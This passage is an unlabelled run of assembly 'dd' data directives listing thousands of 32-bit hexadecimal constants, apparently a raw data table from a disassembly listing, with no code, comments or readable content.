dd 7D1798F8h, 72EFE2F4h, 8427576Fh, 615F8587h, 0D55F89FCh
dd 53518B5Fh, 0F259C5FCh, 151829BFh, 376E1371h, 75B1E547h
dd 572867C1h, 57C19652h, 5D630161h, 0E1251D0Dh, 0C1DC4C71h
dd 0D917EBE9h, 4459C42Eh, 17B17F50h, 500E6A45h, 136CC913h
dd 0E2C2BD77h, 0B0A2527Eh, 98FA559Dh, 0A2073F73h, 629277BFh
dd 1B5007B9h, 9587DDB6h, 5E0C3D7Fh, 0F3F9019Ah, 60FE481Fh
dd 45F9C8E4h, 3DC301E0h, 7E0340DBh, 76798130h, 2C572A56h
dd 63893C20h, 191C1EFh, 0B584E987h, 182DE42Fh, 0BC84DEEAh
dd 61688A7h, 4F92E455h, 52BD66B8h, 0DFB92891h, 0BE4DD02h
dd 0C95012B1h, 6F19218Ah, 482310E6h, 9393BAB0h, 535BE0BEh
dd 0AC3D2AFCh, 88DD67C0h, 0ECB7C575h, 0CFE0EF81h, 53EAADBDh
dd 0BE97555h, 788E8541h
dd 3322F7E7h, 24CC4F70h, 8EC734A7h, 12C498EEh, 35B5AA9Ah
dd 0D900DD30h, 0DF0BF2B8h, 0BD6D11EAh, 21AB8578h, 59B52218h
dd 0D10CD3C6h, 822C9FCCh, 5652075Fh, 78AE4788h, 93A4DCB9h
dd 0D3E52BD6h, 0A6DBD3F0h, 6EFAD2FDh, 6E60E11Ch, 71215893h
dd 85EC95A4h, 393F8BC2h, 4BE01DADh, 254374C1h, 821270E2h
dd 1399E098h, 0B5FE2300h, 44C9C25h, 0AD94AB37h, 19A46647h
dd 90B75DB8h, 5C1994C6h, 0C4A987AEh, 1C58DE5Bh, 1952F7F7h
dd 0C38F0260h, 0CAFFBDC7h, 3C2A7833h, 2631B49Dh, 2F5D7F3Ah
dd 76823E57h, 0BE1D6DF4h, 0D4B3FC7Fh, 4A8F513Ch, 56129BBEh
dd 0F73DB35h, 0BE252A5Fh, 738D2F46h, 3721D9EBh, 0DA3C8178h
dd 3A2E1790h, 7AC3C153h, 55997FBh, 97CC32h, 0D7F3E05h
dd 277D8A64h, 2956CD94h, 0DD467D46h, 947244C7h, 97E1E330h
dd 0F65DDA1Ch, 0C8CA378Fh, 0B0B39EC6h, 0C3DF17ACh, 9B3D7DB8h
dd 0C192A897h, 38195AC4h, 9A9A9ABDh, 7C744C48h, 0E18AF24Eh
dd 0C5C6E1EDh, 0A0B55853h, 47B4FFFEh, 2006550Ch, 47C5CB59h
dd 165005AAh, 42E7DE50h, 0D5611DECh, 0E4194B38h, 18ED5680h
dd 0B1EAE2A5h, 0B1440BDCh, 7A050F54h, 0CFE4F502h, 9ACBABA8h
dd 1D5F8FC2h, 36C1DFA7h, 0C33C0B9h, 0C5C66696h, 0AC0AE1E3h
dd 0E7DCCFF9h, 0BAD9A671h, 0C28F21B7h, 0FAB85B23h, 3A9F4A1Ah
dd 743EA825h, 17EEB659h, 23ED0395h, 2E6CBE21h, 0EC4F097Eh
dd 71EBB357h, 0BADAE745h, 8A69D00Bh, 0F026FA77h, 0FBE9CB61h
dd 174F77E5h, 0AA15B8B2h, 76EA5299h, 0F1BC4149h, 4969CDB3h
dd 0E39ED6A0h, 0CC0E9DD8h, 48E081C2h, 0F9507789h, 6FDF6E7Dh
dd 8A7061BFh, 85C5337Fh, 0DE6D81FAh, 0DC488C39h, 445FEF5Bh
dd 0CE2A0DAFh, 0C904A98Ch, 544A8093h, 2380542Bh, 72509E0Ch
dd 900BB07h, 0E8B8C874h, 22883F64h, 0ABCAD203h, 78B9DC4Ah
dd 81E3E37Ch, 0B3E3D882h, 4DFAFC1Ch, 0B4F8D3CBh, 3B48D2CAh
dd 0CB8640D0h, 0CE4340A8h, 5519ED0Fh, 41CD1595h, 70497F41h
dd 8D625F80h, 40447403h, 84E91791h, 8C16A079h, 0AB48C691h
dd 5F093F45h, 90FAEB6Bh, 289D430Ah, 1F97E68Eh, 43C9ADAAh
dd 0D7C69D7h, 0CFC25749h, 0E6F29B1Dh, 498E64ECh, 0CD4DD329h
dd 4AF4A324h, 2363469Fh, 32E2A227h, 0BC7CB9B6h, 0A218B9C3h
dd 0F3F585D7h, 60D00A52h, 0ADF72569h, 0C9E770B2h, 2862D69Ah
dd 94145308h, 5F26FCA4h, 75FA0DCCh, 3E4F780Eh, 7122B261h
dd 0CB7E458Dh, 232E38C3h, 0F1F05444h, 79B97413h, 0F130C2E6h
dd 64A2D8C8h, 4901A8A0h, 8B3D981Dh, 0A2C80986h, 18F427E2h
dd 0BAE2D415h, 0EEA37C02h, 49463A49h, 2B5B0E14h, 0DDD5C59Ah
dd 0AAEC30ECh, 101AEDh, 0B408795Ch, 3B2F834Ch, 0C335748Fh
dd 0EA48F3FBh, 0AAE3861h, 0D1AAFA1Bh, 7192B797h, 340ADDF2h
dd 24966619h, 0AD41A977h, 79D7ED56h, 4B622E9Eh, 6B6F9DA5h
dd 0FEED2496h, 0C626C674h, 6099651Ah, 8CAF4AB7h, 0C4D42363h
dd 5CF0F486h, 8CA347A6h, 4F2A68A3h, 4A0D1697h, 2D62DAB2h
dd 47A26770h, 8EE44D6Bh, 0F91F9006h, 0DE580472h, 1A9CAA48h
dd 0D8F81DDDh, 5E83D84Fh, 0BABEE4ABh, 790E496Bh, 0DAB10864h
dd 4BED161Dh, 0FAAA32FDh, 872187CBh, 0F41E9E1Fh, 8DEDA67Dh
dd 0B5D96B0Ah, 2EAC182Bh, 0CCE03BCBh, 6EF61BB9h, 0FD99AC44h
dd 7D4A8D33h, 37F217A0h, 0F1E04BFAh, 839750F2h, 203EA9Fh
dd 81F0D4ECh, 31269312h, 0EB91AA35h, 81AC976Ch, 19BD4D3Dh
dd 787A25C8h, 85617904h, 0FA97492Bh, 6F154064h, 2FD388FAh
dd 75264D65h, 5694EE51h, 82C89D13h, 371C4949h, 0EC4495F8h
dd 7B7D023Fh, 0EE4760C7h, 725982F9h, 0DBC71CFBh, 95DEE037h
dd 3AAC0AF9h, 0B1637DDBh, 0D8C6915Ch, 22E1D1A3h, 18DAB60Fh
dd 0E702A034h, 56CB5476h, 0D25368Bh, 0BB78D802h, 6DFA0D76h
dd 915AFB88h, 0CAEC7516h, 2A5BD187h, 84FABABh, 0C7D14573h
dd 4B5A0C66h, 0ECCD14F1h, 6967415Bh, 80BFAB4Ch, 0C51C2690h
dd 9BCDCEEAh, 0D88E3116h, 0E51F4F66h, 0C3576411h, 59BE29E4h
dd 55CA4242h, 25F3831Ah, 0DB9999A8h, 654F9634h, 8498439Fh
dd 2656C68Fh, 68027309h, 3EFE5192h, 488E0B38h, 0F1FF38B4h
dd 0EF82D393h, 0BFAFD020h, 0EC2C64EAh, 2C05BF10h, 0D7FC0571h
dd 6D1077DCh, 48268202h, 0E67D3A5Ah, 0E6D0EDCh, 14C9FD93h
dd 39B79B5Bh, 0DC58B4D0h, 0BBB4738Eh, 5D45ECD4h, 0DDCDDFC8h
dd 362CB6A8h, 0A6032891h, 0E935E101h, 98F25473h, 47B5E9F8h
dd 2728CB0Ch, 9C329419h, 26B8C04Ch, 5A503D65h, 0DC841CC0h
dd 0DAB028F1h, 24D22F44h, 0F9B6A69Ch, 46BC39DCh, 37D10387h
dd 0B0E05A03h, 0BC006EE7h, 186F4139h, 2BBCD62h, 9FDB8500h
dd 9705C787h, 0D7AF3B33h, 0D86C02D7h, 8BE0C25Fh, 0E3FCDCF8h
dd 0A80A782Eh, 51BDBE02h, 4F56B5Ch, 0B4289E39h, 35959624h
dd 9598245Eh, 711F679Fh, 121EDD03h, 0A68D4B4Ch, 7D648F85h
dd 0A8CA09CFh, 7519EBE1h, 13097BDDh, 5B24DD65h, 3F2B43F7h
dd 23C7BEEBh, 0A3600754h, 0CA86F636h, 164E8931h, 0A498ACC4h
dd 5B4D6DB0h, 5519A697h, 53F698BDh, 1F0E80FDh, 0AF03EEF7h
dd 5038200Fh, 9C40D643h, 16D049CAh, 42838485h, 2A08EE1Ah
dd 8E49E4B0h, 9E1A1068h, 0ECDEBF85h, 9409757Dh, 1F8A5EDDh
dd 33F47AA7h, 0E06AF093h, 0C9264E7Fh, 0DE2842B0h, 3B5497ECh
dd 97983B4Dh, 305C3026h, 0A93102D7h, 9EC58239h, 0E189BD30h
dd 202BCC1Bh, 3EFF92EEh, 2857E382h, 3A663A4Ch, 0ED6A3436h
dd 0A8D715B9h, 83BA8BC8h, 235C55EEh, 1044F9Ch, 2833A73Eh
dd 0B0399326h, 0EE7A6CB1h, 66250C76h, 960F3054h, 4DD74B7Eh
dd 97E5A522h, 9D4E4BFDh, 8C6EB48Eh, 627CE525h, 6BA624Dh
dd 0E38DE1CEh, 73B3A65Bh, 34A93332h, 0CD3D6B3h, 3BC7D147h
dd 73D2DA48h, 0D2407C08h, 7AD8A1DBh, 772709C8h, 67F309F5h
dd 0CF7C2010h, 0F27528C5h, 0C81F0B84h, 2966F296h, 0E091BC4Ch
dd 0EBFBB5B1h, 99D222Dh, 7B5EB81Bh, 0CD34195h, 6C3ED0D0h
dd 9C019EBh, 0E40EAD85h, 6D461463h, 494DEA61h, 76713C13h
dd 3E163EF5h, 4EDE421Dh, 0F9795922h, 0AEEEF558h, 8D9414FBh
dd 0B1700FA8h, 0DE74C938h, 0A8D61853h, 336ADF8Ah, 0C541068Bh
dd 5BBE53D1h, 78C55553h, 54F1D60Bh, 0FEB80A78h, 920C672Ch
dd 3F8C222Eh, 3382657Fh, 4E78C6E5h, 3078BA2Ch, 0C08F777Ch
dd 72EC9083h, 634A5F3Ah, 135FA34Ch, 0C2C295ACh, 1E41A269h
dd 8A8DBDB1h, 44F52D38h, 0FB49B062h, 3499F344h, 7301FB4Bh
dd 3D7A7DEh, 3B5DF272h, 0D22F71A2h, 7F029CB5h, 4FB4ED1Bh
dd 67DDCF2Bh, 78C60355h, 0AF17A169h, 6B5DAAD1h, 5E32F29Eh
dd 5E6AA98h, 11B00783h, 0B1FA4F96h, 8B3FDC9Fh, 770DF75Eh
dd 0CDE3266Ah, 0C7DA990Eh, 3165EEE6h, 0F73EED60h, 0C5DED9Fh
dd 364065F1h, 9E42F05Fh, 0B8554FFAh, 0E23F705Fh, 0F57E0940h
dd 14783300h, 0CB095EAAh, 7E32A44Fh, 9C8A887Ch, 958C2EDBh
dd 0F3E1CC2Bh, 46871D5Ah, 0B22AAE63h, 5602977Ah, 8F008F69h
dd 637DD12Ch, 0DAFCE8DEh, 0C2541F9h, 0E426AEBCh, 6EFD994Fh
dd 3056C38h, 460B9B7Ah, 52D9571Eh, 0B6DCE86Eh, 0D4A94E09h
dd 0A9D2919Fh, 528F6DF7h, 0E6FAC080h, 0E48912A3h, 0F69C10A3h
dd 0A22DB36Eh, 904BA9DBh, 0FB799DC1h, 7D0BEA4Ah, 0EE3FD184h
dd 0C6B49C7Dh, 0B4F804A1h, 3F2ABDDAh, 0F91F8835h, 0E74EFA47h
dd 692E252h, 449E1956h
dd 0E4D2E29Eh, 0F054F646h, 302C7588h, 5450C2DBh, 6972291h
dd 70C95F03h, 32C0143Bh, 15A59837h, 0A3E8A501h, 0AAEC2A09h
dd 0AC265AFFh, 92160C72h, 8F39BEA7h, 9E70E124h, 0EC5F23A7h
dd 0D185CB28h, 7E8A9895h, 1EF2912Ah, 1A922CBEh, 0A96F160Ah
dd 0CC493DE9h, 0B3211FD0h, 734D9BC3h, 0C7ED6125h, 0BC2E21BAh
dd 0CD3E1766h, 0FCF4883Ch, 0F89B454Ch, 3E291058h, 8DC68179h
dd 0BA9A0280h, 0C0549962h, 622C22FFh, 9F3D466Eh, 0D116EB39h
dd 7E181167h, 0BFA92F2Ch, 5DF6ADAAh, 452D4107h, 0F679CAD3h
dd 0CB0CF3E6h, 0B24D615Dh, 0FBD0E9EFh, 8B60D551h, 1B8E0FF1h
dd 4F9803ADh, 5496B70Fh, 5EE33F64h, 0F9C91C75h, 76286437h
dd 0F34C1FBAh, 24450E7Bh, 2CA729A3h, 79D6B11Fh, 98E4E74Dh
dd 0EF9932ADh, 0EB96D6CBh, 0B2197416h, 721E396Ah, 0BF88E1FAh
dd 3E9E3F48h, 97E8B82Dh, 0F7AE8038h, 79C369B4h, 0C5161A8h
dd 43B7876Ah, 244B2A27h, 956E1CAh, 261A082Ch, 709FDBF8h
dd 0D7AC87Fh, 74197E38h, 3CC7FAC6h, 23D062CEh, 1E928B36h
dd 1FB1C645h, 0E61F36B2h, 725C565Ch, 3CE29BF3h, 1EE5F75h
dd 0D8F99B40h, 0F4AC8461h, 0A95ACF3Bh, 0EDC34E4Fh, 7F9F0BFDh
dd 1DE24815h, 0E1FFB18Ch, 0DDD791E9h, 0DC4DD94Eh, 0E28B4D84h
dd 4BE420B3h, 625DF558h, 0D70707E3h, 0A6E7C406h, 0C280E1A6h
dd 79C8B36Fh, 9DB4AB6Fh, 5E4C501h, 6E53DFBDh, 0FF3D460Fh
dd 9D644EB4h, 7820C01Bh, 4CDF5D63h, 0C8B4A568h, 0CCACCA51h
dd 0BBBDB9AFh, 51A0EA17h, 0E5F60E56h, 0D2816D53h, 0F9572ABh
dd 0F2C7DF68h, 0C52871CCh, 15F19290h, 346FFDB3h, 834DB001h
dd 90106924h, 0FE7B26h, 0F387BF86h, 5E2A2618h, 0E7479FDh
dd 111732F1h, 0CC595FD1h, 0F70688h, 2C372A1Ch, 26EBB9E4h
dd 0ABC25321h, 0E977CBEBh, 9826AD2Fh, 6FCD0BCBh, 7E91E5A0h
dd 970773EAh, 1B3279A3h, 6E5BB34Ah, 14DDC005h, 0ADC172C0h
dd 446E87B4h, 50718719h, 0D5E7D61Ch, 2E79FF04h, 3CAB69F6h
dd 1CE887C4h, 0E0CAA718h, 91C76F09h, 0F887C43Ah, 2DB4E54h
dd 0D7B67256h, 0B75D76F8h, 615342Bh, 7A8EBE4h, 88A26895h
dd 0E5F38367h, 831F5724h, 0DA4F6177h, 0C6AA03A6h, 25D47929h
dd 68FD2EC8h, 8FA335DDh, 0F14F9D1h, 45087AAEh, 1E65268Bh
dd 49367C18h, 5007D5F7h, 0C29334A6h, 0F6B6319Ch, 9A68BB47h
dd 0D487EE0h, 0FD033BA9h, 0BE0E6423h, 8E888577h, 2D143B0h
dd 0A9ECF08Dh, 984A9A0Eh, 36E8E969h, 78E9A1C7h, 164A4C52h
dd 81526031h, 56BC1C4Ah, 873A178Bh, 57B72567h, 95406309h
dd 0CE03CB6Bh, 0CC32204Fh, 44407C65h, 0B742F080h, 77CCFEE4h
dd 0BD3690CCh, 98DEC48Eh, 0AA51FFF8h, 0F9A93148h, 57B61C81h
dd 0D8F58A13h, 0AFF199C2h, 0FC3B0C9h, 86822EEEh, 0D6E21539h
dd 0BECE726Bh, 4E4C1170h, 5E2F94BAh, 5DB3D826h, 0F4F77EC9h
dd 3D23E960h, 0B79A2794h, 15CFA9D2h, 20A56F85h, 91A51FF9h
dd 6B7CCAD9h, 8C541EE8h, 2437C682h, 0A6D3E25Bh, 1921EC02h
dd 0D9010FA2h, 4607C13h, 0A3286BA3h, 0FBB3E140h, 3773BCCFh
dd 2D847205h, 0F31BD4F9h, 8921DC7Eh, 7005BBD1h, 8FB8720Dh
dd 0D43D104Ah, 5FD8E377h, 0B56E6EDDh, 8E5965CAh, 0D1307D4Dh
dd 4BC256C8h, 1EEF89D2h, 0A49AD2FAh, 9546D895h, 7E42C7EBh
dd 7C127095h, 0DD05825h, 0E7A48087h, 527EBA35h, 0D36001C4h
dd 0EDA69C42h, 72CCBF48h, 8FA8118Eh, 4C6677A3h, 99390248h
dd 38FC3BDCh, 2978F4A1h, 0E929BD8h, 3F68F0AFh, 71059623h
dd 0C4E56DE7h, 384EB54Dh, 0DA01BD04h, 0CEE558F7h, 9D084242h
dd 189F7BD8h, 4F0CF3F0h, 194FE893h, 0B4FADF37h, 0EFC8C142h
dd 0F76A4DB2h, 0C7782225h, 30AD8EC5h, 0DF4844D3h, 829A38F8h
dd 16EE843Fh, 0C7ACB906h, 0B9424DFDh, 44E56264h, 41976D17h
dd 7D3F77B3h, 1E00FFE6h, 0F1C87136h, 3F6D7754h, 8835C4DAh
dd 0FDD32A27h, 7BA63CFFh, 0A4085BBh, 2771845Dh, 1FB051E1h
dd 58A6459Eh, 0F8E4EEC5h, 7215CA6Ah, 6843F453h, 0ACFFB01Fh
dd 6D2C98B3h, 710ADEA9h, 67B89098h, 191314B1h, 91C13ABCh
dd 0F6BF1ED9h, 7D1635E3h, 89912329h, 0A10C37A5h, 7C27411Dh
dd 1942E9DFh, 947BA358h, 5A022481h, 38BB60Fh, 7ED54DF1h
dd 6460323Bh, 760DB87Dh, 1AA8C646h, 17E0AD9Ah, 9B15686Dh
dd 59DF82D4h, 344E029Ah, 182ECC84h, 628D2142h, 0B830DB6Ah
dd 1C8CBDF0h, 0AA94E5CDh, 422C3A21h, 451E083Fh, 0DFE510F9h
dd 4617A52Bh, 6B7F5E7Fh, 0E2BE1B7Ah, 0EEE471ACh, 3E65EA3Fh
dd 72E96E43h, 5DF3968Bh, 1E533403h, 3738CA91h, 240F943Ah
dd 59B01268h, 0FF25AD2Eh, 0E8B69220h, 223DF03Ch, 8B01C5CDh
dd 8101072Fh, 547A2927h, 0F6A337FFh, 0C20CCB6Bh, 9F72D41Dh
dd 0F6A6EF3Ah, 0C2F615D9h, 33CF9D57h, 0A22FE688h, 763409C7h
dd 0DE54734Ah, 0D11B5000h, 0BC610893h, 0F4B3E668h, 6355EC7Ah
dd 0E6E83DE3h, 2A7EA9ECh, 45719BBCh, 0AE946C60h, 51343DDh
dd 455B2058h, 147B9093h, 86BE8970h, 0D5CFB46Eh, 0C2492823h
dd 41B1BBEAh, 0CA7F1897h, 4C372772h, 0AFD036F4h, 4BFEDB3Bh
dd 0AF38D9D4h, 9C3F9102h, 1FB8650Bh, 0C481CD7h, 0EE3912AFh
dd 884526CCh, 0C1BEF8CDh, 0DCBF4EADh, 8C90BB78h, 2DB33BBAh
dd 0F10F7A66h, 0E8DF339Eh, 4426F9A9h, 595952ECh, 40CC51DFh
dd 3F9DE063h, 8CEA2FE5h, 38A8524Dh, 0FB8C5303h, 2167C5CAh
dd 0A2F6D3FDh, 0AED2F1DBh, 803ECE7Fh, 9507F191h, 80166D4Ah
dd 43583D31h, 0EC7DB098h, 8730E88Dh, 0E5CB3CCFh, 20B2580h
dd 2E75A1D0h, 16A7DECFh, 3BB712D7h, 1E36B91Ch, 81F49FFFh
dd 0A93172A5h, 0AA74F351h, 9CCDB70Bh, 0DC543FEBh, 0D6B7860Eh
dd 33DDE76Eh, 0BACC1CE9h, 3EBB1FF5h, 956D6139h, 0E7297049h
dd 6B389492h, 780410BDh, 53D151D5h, 9BE87633h, 41BB205Ah
dd 9ADA5CD1h, 5671E42Fh, 3C995D36h, 0EDDB3808h, 3115EB5Ah
dd 3E8F14E6h, 77761C11h, 0FA27ABDEh, 4EBC7B12h, 2E04E2D3h
dd 0DFA9A5EFh, 9193EA09h, 0C55A37Eh, 2A0AABDFh, 0AA8E9AA7h
dd 2A4052E6h, 0CDBFBD5Dh, 0E8DC4530h, 0D2C5754Dh, 0DE51E8E5h
dd 0FDA4EBCAh, 0D5FED2BCh, 0AA55655Bh, 0F30AD8CAh, 83077DB4h
dd 0ECDA6AB0h, 0F29D4B21h, 0A18DD15Dh, 351C86A2h, 6965ED3Dh
dd 0B0DD7B2Bh, 0C24544D3h, 0B2949DA7h, 80BCB0C7h, 0F2F59E19h
dd 380E0BAh, 0F8636EF0h, 0E9EAE92Fh, 5DFCB725h, 23BE957Ch
dd 0A19C776Ah, 271FC9C2h, 7F567ACDh, 0EF9BEF26h, 7C9B6DDh
dd 9A678673h, 30BEB1D8h, 7D873A5Bh, 0C11D082Dh, 689443B1h
dd 8C65B085h, 0A2859CC1h, 32EA48AAh, 81346511h, 42400016h
dd 0FAACF2BCh, 0D195CB81h, 75A64AE0h, 8B3D4D6Ch, 0CA3F54B9h
dd 127DE36Eh, 0CD2E5172h, 0B3FF1D7Ah, 0B5FAF771h, 38D18FFBh
dd 13C2CCF6h, 0D85A7232h, 0D0E3638h, 8D6CE668h, 0C325B3E0h
dd 0B272EAACh, 0B9B88346h, 9BE45AFDh, 8854E3ADh, 0C176CE1Ch
dd 1B4559F2h, 0BAAF7717h, 0AFD32E7h, 1F824F13h, 2D69AE8Fh
dd 45961CBFh, 59552D5Dh, 4BBD724Bh, 77E8C4DDh, 6300701Eh
dd 41BD1BEAh, 34E481B2h, 40CFCDA6h, 5E95AD38h, 7D6DE243h
dd 0AFB0CD05h, 4028224Eh, 0E3E5B2E6h, 660E4F99h, 0F51CCFC3h
dd 0F1C8F008h, 0EA709D62h, 68306C33h, 4FA88F13h, 0AB9EF3A6h
dd 0EF99F3E9h, 514D0B35h, 62E12131h, 0F53CF18Ch, 65AB6118h
dd 395CE577h, 0A8A93CD7h
dd 0D85E9CE2h, 6C95934Ah, 0E1A85D1Ch, 3171E8DEh, 0A1A52C39h
dd 2AFB178Eh, 8EDDDEE4h, 9767D0B2h, 47E1F7BCh, 1090C6D8h
dd 4617CE6h, 983E549Dh, 819E2E78h, 0E576A497h, 9284D895h
dd 0F38D374h, 38410716h, 0A1873761h, 924A1236h, 68874D71h
dd 4C7F71DAh, 0B5818EF0h, 1EB17EA5h, 6E948E97h, 0B6FB228Bh
dd 0DE890C98h, 8D42C24Bh, 0F41793D5h, 0C04C9DEAh, 0A5BD9CE8h
dd 17BD9E01h, 34D8AC98h, 54CD4439h, 9FD1D2F3h, 88D2AE34h
dd 6C248ECCh, 5A7EC7A1h, 8C1D3DD1h, 361F3059h, 9C4CF240h
dd 912C6E2h, 573AB67Ch, 9164A2D4h, 0E73181F9h, 0B4B0342h
dd 0AB88497Eh, 0AD6D488Fh, 298F5202h, 0F45F5765h, 94E3E2B1h
dd 8686D8F4h, 0C1FDF182h, 40CDC604h, 7BF7E3CCh, 13DF6ECCh
dd 0CA495A6Fh, 0C6393206h, 0EE468AF2h, 0F4FEBF25h, 73D80D84h
dd 1CC5F1B1h, 413D241Bh, 2EE93DAFh, 911110E3h, 3720589Ah
dd 7B1AC408h, 9C7222CDh, 4397E345h, 0FD3B8346h, 72BD7F74h
dd 0EC13A088h, 4B1CA91Eh, 301FAC10h, 4883ED5Fh, 4F35F573h
dd 343E2927h, 13DBFDC7h, 0DF423AFFh, 4BFDE01Dh, 0A69CA427h
dd 1CE8C600h, 88D08917h, 8B263FB7h, 0F3011EA8h, 0D989CFAAh
dd 907C6008h, 0B6D0CDF1h, 5798B8B7h, 0ECCDC77h, 37F6719Eh
dd 0BC12B950h, 0C3F8BD5h, 0E3E2E70Bh, 994D9E19h, 56B2C576h
dd 9E97F307h, 950F19DBh, 0F5602661h, 0A03998F1h, 0F84AF4F8h
dd 69EC157h, 2FB29686h, 9D2343CDh, 0DA54FBBFh, 388E8ADBh
dd 5D6D68C8h, 0F3B0B9EBh, 4B575BF1h, 2764A585h, 7E8382F5h
dd 0BFA48338h, 0A9E1C91Ah, 0A99A0BEEh, 7A5E5DBh, 0D12536A9h
dd 4C068B5Fh, 1723AADDh, 7B508663h, 0E4E84461h, 0E0A2C4FCh
dd 0AB3467D0h, 4DD694A6h, 2BDE59EDh, 18C60D78h, 575D4F9Eh
dd 21A8D33Ch, 5D57210Dh, 8C76C938h, 36822BFCh, 7DEE0A31h
dd 8DB8B65Fh, 0DBA9216h, 1D430D91h, 0EFBB80A1h, 7DB66F2Dh
dd 7359CF8Ch, 0D1961651h, 1B4E86A5h, 12E9330Bh, 9A9E8B19h
dd 6B298403h, 0EF53F06h, 61EB906h, 5022083Ch, 0FA02B734h
dd 4170F774h, 1F091F05h, 0ADBA6BF0h, 0CCC78930h, 2E485F7Dh
dd 6A9202DBh, 44B3703Dh, 2F7C92A4h, 855713C8h, 22419102h
dd 0DB8F7A54h, 0C1290ADFh, 0C4579DB7h, 0EC5264D8h, 2814951Fh
dd 3B0E5A33h, 73E3FF91h, 0A6EDF898h, 0E1C8F045h, 21864A08h
dd 51016E31h, 0ADA645B3h, 0A1B0DB95h, 5552F758h, 18A98FB7h
dd 315C92D8h, 0B4C590FFh, 687AED98h, 11287C12h, 0B9AFF693h
dd 0F8DFFAFCh, 0E254E8E7h, 59527F90h, 8B57DB4Fh, 0AF51868Ch
dd 6C6C649h, 9FD4816Bh, 0A701F096h, 42616971h, 6FD1C062h
dd 65160DC4h, 64F9C335h, 936DA02Ch, 456A750Eh, 0F4305CFh
dd 0C54E2D25h, 0F1ED042Fh, 2F656159h, 0D07968A5h, 0A094BCCFh
dd 6B2FFD93h, 1023F3DDh, 5728F2F5h, 0A43321AEh, 4AE136Ch
dd 68C12813h, 19328070h, 9778314Bh, 6CBE0919h, 722F5378h
dd 0F131A7DBh, 0EAE49070h, 0BAC8DF61h, 0B2F6BB30h, 82B56982h
dd 0B98BE6D7h, 4697BEBEh, 34EDA79Dh, 0F5BDC88Fh, 0C23CD589h
dd 7D830367h, 0E457E00Eh, 0DA485660h, 0E37CB5F7h, 83F9D511h
dd 0CEAF1130h, 3B3ADF9Ah, 1F7F0B1Ch, 3DC366F3h, 0B1FEECDDh
dd 0F00D0747h, 353B03A0h, 75014336h, 0B747813Fh, 542F6F5Ch
dd 90678825h, 3331045Fh, 6E3095A6h, 0DD4FAC21h, 3B7199C3h
dd 0B79D4E59h, 3C4F644Ch, 443BA9C0h, 917707A0h, 832E8CE4h
dd 4347EA6Fh, 4617F874h, 27C23C2h, 5B20E2D9h, 70476067h
dd 0E0781891h, 210A673Ah, 0AC2CB62Fh, 0D41A0906h, 0B3B6850Eh
dd 485E0964h, 0AAECD51Ah, 0A44F80C0h, 1DF494D2h, 315F4C5Eh
dd 0F3338C3Eh, 0A552B7DFh, 4847BF1h, 0B7840807h, 0E3F819B7h
dd 0AC3FAF1h, 4A02BDD7h, 0B1E33556h, 46136A84h, 41316A1h
dd 595310B6h, 0FBBCCE41h, 54101C79h, 0A6B31BCAh, 61853615h
dd 0A574EB05h, 33A4362h, 8E085EC7h, 0B0807B17h, 79812E69h
dd 0F5CBA93Eh, 0B44C737h, 0BE3FB114h, 0CD3B3367h, 8BC98473h
dd 0BAAF301Eh, 0C783ABB0h, 0C39E3DE1h, 4A45F32Ah, 79A2AB56h
dd 61E1BDE2h, 2F45CD74h, 8605F2CCh, 69662ED7h, 4F7DC3Ch
dd 0F4C9D0B1h, 0E60DD61h, 0DCA4E7Ah, 769B2DBCh, 0B47A2863h
dd 0E57F2CB9h, 0F5270E10h, 281D903Eh, 6585CB67h, 79B9B691h
dd 6F099D97h, 2AA5833Fh, 9234A5Fh, 7708A6Dh, 377111DCh
dd 0CF0DE851h, 8BD4A2C6h, 51196B74h, 0D0F76C83h, 12110D06h
dd 8BBC34F1h, 0C4F75CE2h, 16C89562h, 0DA5C0D9Ch, 0FBAA26A8h
dd 8E0C15FEh, 4567E891h, 81A04934h, 6D896A0Eh, 0DA495E94h
dd 71032AD6h, 0F1589258h, 0E9A85098h, 44B9D971h, 0DE18978Ah
dd 67D9E89Eh, 14CA34CDh, 0D84838CAh, 8AC81384h, 0B995D47h
dd 0E8D3115Bh, 36BB4630h, 894FBA85h, 189A2BCDh, 5125107Fh
dd 55792736h, 99595CBDh, 0E510FA59h, 49D73CA7h, 2EEF79B3h
dd 6C93F1B9h, 7A555162h, 5F36C6C3h, 0BCFB2AEFh, 0D08DCAD3h
dd 21955605h, 0EEE84332h, 9555EB10h, 3E3DB8Eh, 56B5226h
dd 0BCA2B860h, 29BE3CE5h, 57CF8F90h, 0DE2531E0h, 0DF28B11Fh
dd 180C949h, 0A4249E42h, 30956025h, 2597EFAEh, 71DF5207h
dd 0BE9DB27Ah, 0F1124ACDh, 3770BF2Dh, 0A04E4F54h, 43879457h
dd 0A0853E1Fh, 0ABC06166h, 2DC457CFh, 62C96C08h, 0A43367E2h
dd 19338598h, 78DC057Bh, 0DB5BDB1h, 0B7C354EAh, 30BA05F7h
dd 0A31CC121h, 4063B60Fh, 85ACCE09h, 0D19E0D43h, 170E05EEh
dd 0A039411Dh, 48CA08C4h, 2186F55Ch, 5759148Bh, 0F8A809BCh
dd 0F30558D8h, 1B5137EEh, 8F54CDCAh, 0F06E36DCh, 0FF2454Eh
dd 0A4A74FBAh, 1A1ED860h, 0C5093A94h, 853E75BBh, 6F1505E4h
dd 37C9D166h, 0DDF85F01h, 35D41EC8h, 80741F68h, 0C39D0746h
dd 0D2EB0605h, 0D3FC3AC7h, 72AA96F1h, 9127EBE6h, 3F2919B8h
dd 52361288h, 0E13A53AAh, 85FCC9E3h, 0FA119376h, 3BB73CC9h
dd 0B96F2128h, 42EC8732h, 0D3FB6310h, 691CEC92h, 6729082Ah
dd 4B13D4A6h, 89FB6D99h, 63244660h, 2BD458F9h, 0A5691979h
dd 9DA6E261h, 0AB6F8D8Ch, 0FAF75E8Fh, 795465C5h, 0CDF258DAh
dd 0FE5AFA75h, 0FDD0ABD8h, 35DB3BA7h, 0C888B72Dh, 1BC2799Bh
dd 0E3FE63C7h, 32FDB642h, 4D04CFE5h, 0A6DF875h, 6343E8A7h
dd 115BBE8Fh, 2A94618Dh, 0C2443E32h, 9527302Eh, 0CD7FB23Ah
dd 36270CB6h, 39762D7h, 0F91D98FAh, 1F46163Eh, 1FD53363h
dd 649266EDh, 9A4BDA0Bh, 2B48A417h, 0CA21D7h, 2985A19Bh
dd 0A1BB7123h, 0EFFD4B9Dh, 9C734A6Ch, 31CC23D8h, 0A6BF0525h
dd 0CFFA65F6h, 0EF234B58h, 60321484h, 0AC6BADF5h, 2561456Fh
dd 139BA018h, 4E4AE23Ch, 5FD1C6Bh, 63266018h, 888F650Ah
dd 0C4685DE2h, 31A8F24Dh, 1C304F35h, 0AFD0D1A9h, 80B8E5D0h
